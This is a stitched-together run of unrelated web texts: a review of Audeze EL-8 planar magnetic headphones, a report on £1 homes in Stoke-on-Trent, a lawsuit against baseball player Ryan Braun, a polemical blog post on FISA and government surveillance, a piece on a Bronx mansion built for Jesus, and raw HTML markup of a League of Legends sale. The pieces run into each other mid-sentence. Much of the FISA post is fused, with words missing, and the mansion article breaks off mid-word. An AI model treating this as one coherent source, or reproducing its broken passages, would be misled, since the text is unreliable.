The king daddy of the planar revolution was the Audeze LCD-2, a $2,000 (at the time; now they're half that) pair of cans with handcrafted wood shells that made the rounds of the usual publications a few years ago. We had a pair here at WIRED, and they did sound absolutely amazing, but they were comically large, criminally heavy, and of course they required amplification. I listened to a pair through a $1,700 Antelope Audio Zodiac headphone amp, and, when I shut my eyes I'm pretty sure I saw a ring of shimmering angels blowing platinum trumpets and plucking harps strung with unicorn gut. But the Berlin Philharmonic wasn't even halfway through the first movement of The Ninth before the pain of wearing these massive wooden ear-bricks became unbearable. I couldn't recommend them.
There are several types of headphones, but the most curious variety is the planar magnetic headphone.
Audeze kept riding that wave, though, and now it's released a planar magnetic headphone that is more affordable, more sensible, and infinitely more enjoyable.
The EL-8 headphones cost $699 and come in closed-back and open-back configurations. (Open-back headphone have slots for air to move in and out of the earcups, so they sound very spacious, but they leak sound; closed-back cans trap the air inside the cup, and you get better bass but not as much shimmer. Most headphones are closed.) Like a few other planars we've seen recently, you can plug them right into your phone without needing an external amp to boost the signal.
The company sent me a pair of open-back EL-8s, and I definitely enjoyed them enough to recommend. However, they're not for everyone—they're not mobile-friendly, they make hard-hitting music sound kinda blah, and they really only shine in a quiet room. If your idea of "unwinding" is a nice glass of wine, a big leather chair in your dedicated listening room, and an SACD of Glenn Gould's Goldberg Variations, you'll love them. But they're about as populist as a silk ascot.
The EL-8s are beautifully made. A thin ribbon headband has a spring-loaded pad at the top of its curve, and they hug the head comfortably with a nice amount of clamp. The metal earcups are ringed with wood veneer and capped with high-quality leather pads. Inside are the 100mm planar magnetic drivers—if you have the open-backs, the slots in the cups provide a nice visual embellishment. The detachable cables are flat ribbons, and there's one plug for each ear. At the other end is a friendly mini-jack, ready to snap into your smartphone. The EL-8s are rated at 30 ohms—if you see headphones with an impedance rating of higher than 30 ohms, you're probably going to need an amp. So these are right on the limit. They did sound excellent plugged into my iPhone 6, but they sounded even better—louder and more forceful—when I hooked them up to a Woo Audio tube amp (Audeze also makes a nice $700 headphone amp). You'll be fine without an amp, but if you have one, they sound even better.
Sound Advice
I especially appreciated how the Audezes handled lighter, more delicate music. This may be because the open-back model I tested have an airy, open quality, and thus highlight these characteristics in whatever music you're listening to. I played a lot of Andreas Segovia guitar stuff, piano jazz, and Bach organ works. Classic rock LPs and live rock recordings brought out a wide soundstage and gave me a real sense of placement among the performers. On Saunders/Garcia's live Keystone Companions collection, all four musicians are spread across the stereo spectrum from left to right, and the reverb of the room becomes a fifth instrument. The Audezes put me right there among the twirling masses.
The EL-8s don't have big, forceful bass—if that's what you're looking for, go for the closed-back EL-8s. With the open earcups, dance music sounds pretty lifeless. I tried The Bug, Major Lazer, and Prefuse 73, and I kept trying to turn them up to get more oomph. All I did was annoy my neighbors (the open earcups leak sound like crazy). I kept going back to classical guitar, Indian ragas, gamelan recordings, live rock, and Blue Note jazz. Anything recorded with a few mics in a big room with lots of air sounds amazingly lifelike.
Headphone nuts—true enthusiasts who are in it for the thrill more than the utility—should definitely give the EL-8s a listen. But those looking for a pair of cans for the office or the commute should look elsewhere. The closed-back EL-8s are probably OK for the office, since they don't leak as much sound or let as much outside noise in as the open-back model. But both versions of the EL-8 are heavy, large, and have meaty cables, making them a hassle if you're moving around a lot, or if you never take off that ascot. And at $700, they're very expensive; $150 can get you any number of great-sounding headphones that work better on the train or in a crowded office. Spend $350 and you're bathing your ears in luxury.
This syndrome of "too exotic by half" extends to all planar magnetics. As a class of headphone, they're like a vintage British sports car. Beautiful, even impressive, but more suited to Sunday drives in the woods than trips to Costco in the 'burbs.Media playback is unsupported on your device Media caption The BBC's Sian Lloyd takes a walk down £1 house street
More than 600 people are interested in buying rundown homes in Stoke-on-Trent for £1 each, the city council has said.
Thirty-five derelict homes, mainly two-bedroom terraced properties, will initially be sold off in the Cobridge area, with a further 89 to follow.
Under the £3m project, the local authority is offering loans of up to £30,000 to help complete essential repairs on the houses.
Applications opened for potential buyers on Monday.
People have until 12 May to apply for one.
Stoke-on-Trent City Council said the initial 35 homes would be randomly allocated to the successful applicants.
The majority are two-bedroom, but there are also a few three-bedroom houses and possibly some flats.
A brighter future? Image caption Janine Hankey has lived in the area for 12 years What residents think of the £1 homes offer
Anyone applying must have lived in the city for the past three years.
Other criteria they must satisfy include:
A joint income of £18,000 to £25,000 a year - £30,000 maximum if they have children
Applicants must have been employed for the past two years
They must not own another property
They must have the right to live permanently in the UK
The new house must be their main home for at least five years
'Community spirit'
Anyone taking out the £30,000 loan would have to pay it back within 10 years at an interest rate of 3% above the Bank of England base rate, which currently stands at 0.5%.
If the house is sold within 10 years, a proportion of any profit must be paid to the council on a sliding scale.
In return for buying the properties, people will be required to renovate them and bring them back into use.
Councillor Janine Bridges, responsible for housing, said the scheme would "see a rundown area of the city transformed".
She added: "The project will not only benefit the residents who are currently living next door to properties that have been vacant for some time, it will also give families moving into the homes the chance to take their first step on the property ladder."
The council said it hoped to "build a community spirit" in the area and create "thriving neighbourhoods".
However, Steph Dunn-Fox, from Stoke-on-Trent-based estate agents findahomeonline.co.uk, said Cobridge was presently an unattractive area for home buyers and was "full of empty homes".
She said: "I think it's a great idea in principle and they're probably thinking it'll appeal most to first-time buyers.
"It's the sort of area and offer that could appeal to property developers, but they're excluded from this.
"It's difficult - unless you're from the area, who wants to live on a rundown street, carry out a lot of work and know you have to stay there for at least five years?"
She said she could see a typical terrace house redeveloped in a good condition reaching a maximum of £55,000 to £60,000 on the market.
Last month, Liverpool City Council said more than 2,000 people had been in touch about buying 20 homes there during the week they were on offer for £1.A longtime friend of Ryan Braun's filed a lawsuit against the suspended slugger last month, charging that Braun defamed him after the friend provided help in his successful appeal of Braun's positive steroid test in 2011.
Ralph Sasson, 29, makes a number of personal accusations against Braun, saying in the lawsuit that Braun doped through his years at the University of Miami, committed academic fraud and accepted money while a student.
Reached this week, Sasson declined to comment and said the lawsuit speaks for itself.
Braun's attorney, Howard Weitzman, rejected the claims.
"This lawsuit is an unfortunate attempt to capitalize on Ryan's recent press attention for taking responsibility for his actions. The factual allegations and the legal claims have absolutely no merit. We believe the lawsuit will be dismissed," he said in a statement.
Sasson, who describes himself as a law student, says he was contacted by Braun's agent, Nez Balelo, in November 2011 after Braun was notified that he had tested positive for elevated levels of testosterone. Part of his assignment, the lawsuit says, was to conduct background research on the man who collected Braun's urine sample, Dino Laurenzi Jr.
The lawsuit says Sasson was forced to threaten Braun and Balelo with a lawsuit in order to recover $5,000 that he says was promised, and that he was paid last year when he agreed to sign a non-disclosure agreement. But Sasson charges that Braun violated that agreement when he made what Sasson calls defamatory statements about him to undisclosed parties. Sasson asks for unspecified damages in the complaint.
The lawsuit also says that Braun asked Sasson to "prank call" ESPN "Outside the Lines" reporter Mark Fainaru-Wada, who was working with reporter T.J. Quinn on a story in December 2011 that Braun had failed a PED test. According to the lawsuit, Braun wanted Sasson to say, "The original information Quinn and Fainaru-Wada had obtained regarding Braun was part of an elaborate conspiracy to assassinate the character of multiple baseball players and agents including, but not limited to, Ryan Braun."
Sasson says in the lawsuit that he refused.
Meanwhile, USA Today reported Friday that Braun is close to admitting he used performance-enhancing drugs during parts of the 2011 season. The newspaper, citing friends of Braun who spoke on the condition of anonymity, said the suspended slugger plans to apologize to commissioner Bud Selig, urine collector Dino Laurenzi Jr., his teammates and his peers.Why did Obama stay silent for so long, and why did he finally offer such a muted response to the bill?
The answer is simple:
Barack Obama plans to be the next President of the United States. Once he becomes President, he will be in the same position as George W. Bush: he wants all the power he needs to protect the country. Moreover, he will be the beneficiary of a Democratic-controlled Congress, and he wants to get some important legislation passed in his first two years in office.
Given these facts, why in the world would Obama oppose the current FISA compromise bill? If it's done on Bush's watch, he doesn't have to worry about wasting political capital on it in the next year. Perhaps it gives a bit too much power to the executive. But he plans to be the executive, and he can institute internal checks within the Executive Branch that can keep it from violating civil liberties as he understands them. And not to put too fine a point on it, once he becomes president, he will likely see civil liberties issues from a different perspective anyway.
So, in short, from Obama's perspective, what's not to like?
Most Americans don't realize that the FISA compromise comes in two parts. The first part greatly alters FISA by expanding the executive's ability to wiretap and engage in much broader searches of communications than were permissible under the law before. It essentially gives congressional blessing to some but not all of what the executive was doing under President Bush. President Obama will like having Congress authorize these new powers. He'll like it just fine. People aren't paying as much attention to this part of the bill. But they should, because it will define the law of surveillance going forward. It is where your civil liberties will be defined for the next decade.
Part II, by contrast, is the part that everyone has gotten up in arms about. It creates effective immunity for telecom companies. It makes perfect sense for Obama to criticize this part of the bill. That's because he doesn't need it as much as he needs the first part, and his base really really dislikes it....
So, let's sum up: Congress gives the President new powers that Obama can use. Great. (This is change we can believe in). Obama doesn't have to expend any political capital to get these new powers. Also great. Finally, Obama can score points with his base by criticizing the retroactive immunity provisions, which is less important to him going forward than the new powers. Just dandy.
I must immediately interject that to discuss these issues [pertaining to liberty and privacy] with regard to FISA is ludicrous in a much deeper sense. As Jonathan Turley explains here, FISA itself is a secret court whose very purpose is to circumvent the requirements of the Fourth Amendment. The FISA court is no protection against illegitimate government intrusion at all. But as Turley notes, that we are fighting over whether to grant the executive branch and FISA still more untrammeled authority to disregard constitutional rights is a measure of how far we have already marched toward tyranny. And look at this chart to see just how compliant the FISA court is.
We can already spy on everyone. Everyone! Got that, you schmucks? And we don't even need a warrant a lot of the time! Every once in a while, we kinda think we should get a warrant. No reason for that actually. But it looks better, you know? Keeps the stupidly annoying civil liberties crowd happy. But those idiots at the FISA court will give us one nearly every time! [See here again.] And since FISA is a secret court, none of those peons (otherwise known as "citizens") will ever know a damned thing about what's actually going on anyway. It's good to be an Empire!
The fact that every aspect of our lives is regulated, directed and controlled has a further result, one of the most dangerous of all: If someone in government decides to go after you, he has an endless array of weapons from which to choose. Even if you emerge from the battle with your life largely intact, anyone in government who wishes to do so can turn your life into hell for years on end, even for decades. It may all begin with some pathetic bureaucrat in a cramped, stifling cubicle. Perhaps someone cut him off in traffic that morning; perhaps he had a fight at home the night before. Perhaps he's just a rotten human being. He happens to come across your name on some document, and he thinks: "I know: I'll go after him. That could be fun." And your life is destroyed.
As a result of newly released Department of Defense (DoD) documents revealing the potential abuse of the government's surveillance powers, the American Civil Liberties Union today filed a Freedom of Information Act (FOIA) request to force the FBI to turn over documents concerning its use of National Security Letters (NSLs) that demand private data about individuals within the United States without court approval. In today's request, the ACLU seeks records pertaining to the FBI's issuing of NSLs at the behest of other agencies that are not authorized to access this sensitive information on their own. In addition, the ACLU is requesting all documents indicating how the FBI has interpreted and used its power to silence NSL recipients since the Patriot Act's gag provision was amended in 2006.
...
NSLs are secretly issued by the government to obtain access to personal customer records from Internet service providers, financial institutions, and credit reporting agencies. In almost all cases, recipients of the NSLs are forbidden, or "gagged," from disclosing that they have received the letters. While the FBI has broad NSL powers and compliance with FBI-issued NSLs is mandatory, the Defense Department's NSL power is more limited in scope, and, in most cases, compliance with DoD demands is not mandatory. Additionally, while the FBI can issue NSLs in its own investigations, Congress has not given the agency the power to issue NSLs in non-FBI investigations.
Buried in the text of the revised legislation, approved by the Senate Banking Committee by a 19-2 vote [during the week of May 23], is a plan to create a new national fingerprint registry. It covers just about everyone involved in the mortgage business, including lenders, "loan originators," and some real estate agents.
...
What's a little odd is the lack of public discussion about this new fingerprint database. No mention of it appears in the official summary of the revised Senate bill. No fingerprint database requirement is in the House version of the legislation approved earlier this month. No copy of the revised Senate legislation is posted on the Library of Congress' Thomas Web site, which would be the usual procedure.
The feds' new fingerprint database would function like this: Any "loan originator" must furnish "fingerprints for submission to the Federal Bureau of Investigation" and a wealth of other unnamed government agencies. Loan originator is defined as someone who accepts a residential mortgage application, negotiates terms on a mortgage, advises on loan terms, prepares loan packages, or collects information on behalf of the consumer. Real estate agents are covered if they get "compensation" of any sort (including kickbacks) from loan originators.
...
In the proposed federal system, what remains unclear is what happens to the fingerprints once submitted. The legislation talks about a "background check"--which would imply a one-time use--but also creates a Nationwide Mortgage Licensing System and Registry that "provides increased accountability and tracking of loan originators." Neither Feinstein's nor Martinez's offices returned our phone calls and e-mail messages asking for clarification on Friday morning.
...
Creating a database of fingerprints of "loan originators" and a subset of real estate agents might make sense. It might not. But it surely would have been reasonable to have an informed debate on the topic before politicians rushed to enact federal legislation before the Senate's Memorial Day recess, and it would surely be wise to insist on security and privacy protections when the bill goes to the full Senate. Unfortunately, there's little reason to believe either will actually happen.
President Bush has signed Executive Order 12989 which gives the Department of Homeland Security authority to review employment eligibility for all federal employees and federal contractors. The decision to expand "E-Verify" comes after Congress rejected the President's verification proposal and a federal court struck down the agency's attempt to establish similar authority by regulation. EPIC testified in Congress in 2007 against the "Employment Eligibility Verification System." Meanwhile, the Transportation Security Administration, a division of Homeland Security, will now require travelers to present identity documents or to be "cooperative." See EPIC Spotlight on Surveillance: "National Employment Database Could Prevent Millions of Citizens From Obtaining Jobs" and EPIC Amicus in Gilmore v. Ashcroft.
"The right to be left alone -- the most comprehensive of rights, and the right most valued by a free people." -- Justice Louis Brandeis, Olmstead v. U.S. (1928)
I indicated the other day that, as odious and destructive of liberty and privacy as the new FISA "compromise" bill is, there is one perspective from which the momentous to-do about this legislation is very badly misplaced. The selective focus on FISA misses the crucial larger picture in a way that ensures that the ruling class's hold on increasingly tyrannical power will never be consistently or seriously challenged -- which is, of course, precisely what the ruling class wants. In one sense, I certainly won't criticize those who protest the FISA legislation so vehemently, because I favor almost anything that throws a monkey wrench into the operations of our monumentally awful and oppressive federal government.However, and it is an exceptionally large however, if the protests about FISA remain the sole (or even the major) focus of their complaints about the surveillance state, the protesters will make a very large gift to those who wish to oversee, regulate and control every aspect of our lives. I will return to that point in a moment. First, consider these observations from Jack Balkin on the FISA bill. In part, I consider Balkin far too generous to Obama, but he makes some important points:Next, I remind you as forcefully as I can of FISA's actual nature. As I wrote in " The Ruling Class Unleashed ":As I argued in the earlier essay, if we were genuinely concerned about civil liberties and privacy, we would return to the Fourth Amendment and the procedures it requires, and the FISA regime would be abolished entirely. That's right: it would beNo one wants to do that. Toodoncha know. That's scary talk, much scarier, it would appear, than the tyranny which daily strengthens its death grip on all our throats. Nonetheless, if you want to understand the nature and scope of the decades-long attack on individual liberty, you had better remember what FISAMoreover, understand the nature of the old FISA regime, which appears to be just fine with almost everyone, Republicans, Democrats, progressives,Steny Hoyer has helpfully spelled out the near-omnipotent powers of FISA underUnderstand how comprehensive it is, and how comprehensively it destroys civil liberties. Quite inexplicably, though, Hoyer declined to summarize the government's powers under the old FISA scheme in easily understandable, everyday language. So I helped him out:I repeat: that's thescheme, which most people think is the bee's knees, a gentle zephyr cooling a moist brow, a benevolent moon keeping watch over a peaceful world below.Beyond these points, there is another problem, one that is very difficult to convey, so terrible is it in its obliteration of liberty, privacy and all the values that our politicians claim to uphold. I discussed a related aspect of this problem in the earlier piece With regard to FISA and issues of liberty and privacy in general, let me now ask you a few questions. How long do you think it would take you to identify, read, and understandprovision instatute, regulation and other authorization that gives surveillance powers to the government? Furthermore: Would you know each and every place to look, or how to determine what those places were? Additionally: With a staff of 20, or 50, could it be done, even if you were provided with limitless time and limitless funds?I submit to you, without qualification or reservation, that you coulddo it. No one could. Consider that most legislators in Washington aren't even aware of much of what's in the bills they so eagerly vote on. Consider the prohibitive length and complexity of legislation that comes before Congress. That's true of what is going onIf you tried to track down every piece of legislation, every regulation, every administrative agency ruling, and every other pronouncement still in effect that allows the government to surveil and otherwise keep track of you, me, the guy down the street, the woman next door and the man in the moon, based on alleged concern with and the need to protect us all from the ravages of drugs, "illicit" sex, any and all other suspected criminal activity and, natch, terrorism, how on God's green earth would you do it? You couldn't. I further submit to you that the only reason you appear to have some precious remnants of freedom left, and the only reason you remain at liberty, is that the government hasn't comprehensively focused on all the powers it already possesses and hasn't come anywhere close to utilizing them fully and consistently. This is the moment you should fall to your knees and thank whatever gods may be for the miraculous, close to perfect incompetence of the pathetically ineffectual blockheads in Washington.I did only several minutes of very basic internet research. I offer you a few examples of what I mean. Again, all of this is entirely apart from FISA. Even if FISA were abolished tomorrow, all of these horrific intrusions into individual privacy would remain.See this page, too, which contains a wealth of information about National Security Letters.The recently proposed mortgage legislation that will bail out powerful financial interests which just happen to have the right Washington connections has been strongly criticized for providing a taxpayer-funded salvage scheme of that kind -- but did you know that it may also do this? The Electronic Privacy Information Center keeps track of issues of this kind. Example: "In response to a request from Congressman Edward Markey, EPIC recommended strong medical privacy safeguards in a bill that would establish a national framework for electronic health records." And see EPIC's Medical Privacy page. Lots of links to investigate there, many of which are not the least reassuring.Another example:Take a look at all the topics listed on EPIC's Privacy page. A huge number of links to investigate, such as the one on Counter-Terrorism Proposals. Still more links there. All of this goes on and on and on andIn terms of surveillance and unending, relentlessly intrusive information-gathering on all Americans, I consider it impossible that the power does not already exist somewhere for the government to do basically whatever the hell it wants, whenever the hell it wants, to each and every one of us.Note that I have not yet mentioned the government's vast capabilities for oversight, surveillance, control and punishment gained by means of its general, "everyday" massive taxing and regulatory powers, or by such liberty-destroying measures as a national ID card. If you conducted even a cursory search, I'm certain you would quickly come up with tens, hundreds and even thousands of further examples of government intrusion into areas of your life that you had erroneously believed were "private."At the top of its Privacy page, EPIC highlights this statement:I do not find the least bit of enjoyment in breaking the news to you, but I suppose someone must. In terms of liberty and freedom,is the most precious value of all. Regardless of what happens with FISA, and even if FISA were abolished altogether, you lost that right decades ago.And if it is up to the ruling class, you are not getting it back.Even Jesus has been priced out of Manhattan.
In Riverdale, The Bronx, on the second highest peak in all five boroughs, sits a mansion fit for a king — and we don’t mean LeBron James.
The house, variously known as Chapel Farm, Fair Hill or Chapel Hill, was built in the 1920s for one special resident to live in: Jesus Christ.
The idea was, when Jesus returned to earth (via the 1 train, presumably), he would decamp to The Bronx and rule from this opulent, 17-room dwelling. It’s a promising sign for those living in the northernmost borough, which will apparently survive the wars, famine, disease, earthquakes and anarchy the Bible predicts to signal the end of days.
And soon, all this could be yours. It’s set to hit the market in February for $10 million.
“The house has such a history to it,” current owner Sandra Galuten tells The Post. “It is really interesting.”
It was constructed beginning in 1928 by Genevieve Ludlow Griscom, the wife of Clement Acton Griscom Jr., a wealthy executive whose company made ship heaters.
Genevieve was a member of a religious order — some say cult — colorfully called the Outer Court of the Order of the Living Christ.
The group attempted to fuse theosophy with Episcopalian beliefs. Followers believed in reincarnation and Christian mysticism, but also adopted mainstream Episcopal teachings.
It invited “all men and women of whatever caste, creed, race and religion” who, “seeking a higher life hereafter, would learn to know the path to tread in this [one],” according to a journal published by the group.
The property was built as the group’s summer retreat and was surrounded by a high fence, leading neighbors to speculate that it was home to strange rituals.
Although Genevieve supervised every detail of the mansion’s construction, oddly enough, she never lived there. Neither did anyone else involved with the Order of the Living Christ. Genevieve resided in a simple shack a few hundred feet away from the main house and heated by a stove. Other members lived in cottages on the property.
The main house was, er, religiously maintained. Members reportedly dusted regularly, and the floors were kept polished, in anticipation of Jesus’ return. Genevieve would enter for an hour or so every day and play a large pipe organ.
She died in 1958 at age 90, and the order reportedly disbanded soon after. In 1960, the property was sold to a developer for $700,000. At the time, it was said to be the last undeveloped plot in The Bronx, and it mostly remained that way.
The estate was eventually given to the Archdiocese of New York, who then sold in 1969 it to nearby Manhattan College. The school intended to build dormitories on the lot, but the plan was abandoned when another site was chosen.
The house lay derelict for more than a decade when it was purchased in 1987 for “practically nothing” by Galuten and her husband, Jerry, an entrepreneur with a long list of interests, including importing tropical fish and producing a version of “Duke of Earl” by the doo-wop group the Dukays.
The house was a shell of its former self. Its front door was boarded up, the windows had been shattered and a group of raccoons was living in the attic. Vandals had burned the banister and other items, and the interior was blackened by flames.
The shack where Genevieve Griscom once lived had long since been destroyed by fire or weather, though some of the surrounding houses remain. So does the Order’s chapel, which was built around a tree trunk. (Those structures are no longer part of the main property and are owned by others.)
Jesus, as we know, had simple tastes. As such, the house originally had just one bathroom. It now has five full, with three halves. There are seven bedrooms — though it’s unclear which was intended for the son of God — as well as a gym and sauna. In fact, in light of the order’s disbanding, few details of how they envisioned Christ’s life on Chapel Farm are known today, as most of the records have been lost to history.
The only hint of the house’s strange origins can be found in the backyard. There, hidden among rock outcroppings is the broken base of a large cross that once stood on the property.
Despite the renovation challenges, the Galutens decided to buy the property, in part because it was large enough to store and display Jerry’s toy train collection. The restoration took more than a decade in total. It was finally completed in 2001.
“It was a labor of love,” says Galuten, a former marketing executive who lived in the Hotel Delmonico at 59th and Park before moving to the Bronx. “I called the place ‘Wuthering Heights’ — or ‘The Money Pit.’ ”
The exterior, made of stones nearly 2 feet thick, had held up, but very little of the original interior could be salvaged. The original black-and-white floors made of 3- to 5-inch thick slabs of marble survive to this day.
The pipe organ that Genevieve used to play anticipating the Lord’s arrival had been damaged by fire, water and time. It was dismantled, and its various parts donated to churches.
The other details were down to Galuten. The intended owner’s tastes are carpenter chic. Hers are more Palace hotel.
In the upstairs hallway, she installed mosaic tiling from the same Italian maker that does the Vatican. The sconces in the game room once belonged to Clark Gable. (“They were a gift,” Galuten says mysteriously.)
One of six wood-burning fireplaces, made of carved variegated marble, is the same as can be found in the White House.
“The estate reminds you of a bygone era,” says Halstead broker Ayo Haynes, who has been involved with Galuten’s efforts to sell the house. “It’s very ‘Downton Abbey,’ down to the servants’ staircase.”
The house has been offered for sale previously, but no takers. Galuten is hoping an appropriate buyer will come along in the spring — though the next popularized date of a possible Armageddon isn’t until 2020.
“Jesus would probably love [the house],” insists Galuten, who claims to have never felt any Godly presence in the home. “I red |
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<![endif]--></p><p class="MsoNormal">Summoners,</p><p class="MsoNormal">Craving something new at champ select? Get fed on these limited time bundles. They're flexible in cost, meaning the final bundle price will automatically adjust to reflect only what's new to your collection.</p><p class="MsoNormal"> </p><ul><li><strong style="mso-bidi-font-weight: normal;"><span style="mso-bidi-font-family: Calibri;">Pentakill Bundle</span></strong><span style="mso-bidi-font-family: Calibri;"> <strong style="mso-bidi-font-weight: normal;">- 50% off </strong>- <s>4650</s> 2325 RP (4345 RP if you need the champions)</span></li></ul><p><span style="mso-bidi-font-family: Calibri;">The biggest band on Runeterra is going on tour and ticket prices have just been slashed. Olaf rejects rumors that the band has sold out, saying everything they do is "strictly for the fans, man."</span></p><p class="MsoListParagraphCxSpFirst" style="margin-left: 1.0in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level2 lfo1;"><span style="font-family: 'Courier New'; mso-fareast-font-family: 'Courier New';"><span style="mso-list: Ignore;">o<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Skins included:</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Pentakill Karthus</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Pentakill Mordekaiser</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Pentakill Olaf</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Pentakill Sona</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Pentakill Yorick</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.0in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level2 lfo1;"><span style="font-family: 'Courier New'; mso-fareast-font-family: 'Courier New';"><span style="mso-list: Ignore;">o<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Champions included:</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Karthus</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Mordekaiser</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Olaf</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Sona</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Yorick</span></p><p> </p><ul><li><strong style="mso-bidi-font-weight: normal;"><span style="mso-bidi-font-family: Calibri;">Ranged Rovers - 25% off - </span></strong><s><span style="mso-bidi-font-family: Calibri;">4780</span></s><span style="mso-bidi-font-family: Calibri;"> 3585 RP</span></li></ul><p><span style="mso-bidi-font-family: Calibri;">Is your AD champ pool more kiddie than Olympic? Snag this bundle to ensure your opponents are always in over their heads.</span></p><p class="MsoListParagraphCxSpFirst" style="margin-left: 1.0in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level2 lfo1;"><span style="font-family: 'Courier New'; mso-fareast-font-family: 'Courier New';"><span style="mso-list: Ignore;">o<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Champions</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Quinn</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Draven</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Varus</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Graves</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 